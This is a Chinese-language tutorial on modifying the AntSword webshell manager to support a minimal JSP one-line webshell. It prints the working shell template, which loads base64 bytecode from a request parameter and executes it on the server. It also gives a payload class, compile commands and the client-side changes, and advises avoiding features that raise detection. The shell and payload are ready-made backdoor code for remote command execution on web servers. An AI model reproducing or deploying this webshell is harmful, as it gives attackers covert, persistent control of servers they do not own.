蚁剑改造计划之实现JSP一句话
字数 1053 2025-08-20 18:17:47
蚁剑改造计划:实现JSP一句话木马
前言
本文详细讲解如何改造蚁剑(AntSword)以支持JSP一句话木马功能。传统JSP木马体积庞大(菜刀7KB,蚁剑17KB),而通过动态加载字节码技术可以实现更小巧高效的后门。
基本原理
Java中没有eval函数,传统JSP木马采用custom模式,将执行代码预写入shell中。冰蝎作者提出创新思路:利用ClassLoader直接解析编译后的class字节码,实现类似eval的功能。
实现思路
-
思路选择:
- 用Node.js修改Java字节码(难度大)
- 编写专门生成payload的jar包(需Java环境)
- 硬编码payload+参数传参(本文采用)
-
核心优势:
- 重写Object类的equals方法
- 传入pageContext控制页面对象
- 避免类反射特征
具体实现
1. Shell模板
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%>
<% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
压缩后仅316字节,比冰蝎更小。
2. Payload模板
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.jsp.PageContext;
import java.io.ByteArrayOutputStream;
public class Demo {
public String encoder;
public String cs;
@Override
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
ServletRequest request = page.getRequest();
ServletResponse response = page.getResponse();
encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):"";
cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
String var0 = EC(decode(request.getParameter("var0")+""));
String var1 = EC(decode(request.getParameter("var1")+""));
String var2 = EC(decode(request.getParameter("var2")+""));
String var3 = EC(decode(request.getParameter("var3")+""));
output.append("->" + "|");
sb.append(func(var1));
output.append(sb.toString());
output.append("|" + "<-");
page.getOut().print(output.toString());
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
return true;
}
// 其他方法...
}
3. 编译环境
- 使用JDK 1.6编译(向下兼容)
- 依赖tomcat7的jar包
- 编译命令:
javac -cp "servlet-api.jar;jsp-api.jar" Test.java - 保存字节码:
base64 -w 0 Test.class > Test.txt
4. 编码问题解决
关键修改:
- 交换解码和字符集判断的顺序
- 强制使用UTF-8解码base64内容
- 处理中文路径问题
5. 蚁剑客户端修改
-
在以下文件中增加jsp类型支持:
source/app.entry.jssource/core/index.jssource/modules/settings/encoders.js
-
在
source/modules/shellmanager/list/form.js增加jsp后缀识别 -
在base64编码器模板中增加发送接口
-
用编译后的payload替换原函数名
使用示例
- 示例payload(返回"Hello"+名字):
String test(String var0){
return "Hello" + var0;
}
- 发送请求:
- 明文:
var0=yzddmr6 - Base64编码:
encoder=base64(需URL编码)
注意事项
- 必须URL编码所有请求参数
- 默认编码器不支持中文路径
- 不建议添加回显编码函数(会增加特征)
- 目前存在硬编码特征,尚未实现随机变量名
项目资源
- 修改后的蚁剑(2.1.x分支):https://github.com/yzddmr6/antSword/tree/v2.1.x
- JSP payload源码:JspForAntSword
总结
通过动态加载字节码技术,实现了体积小巧的JSP一句话木马,完美支持中文路径和多种编码方式。虽然目前存在一些硬编码特征,但为蚁剑的JSP支持提供了新的解决方案。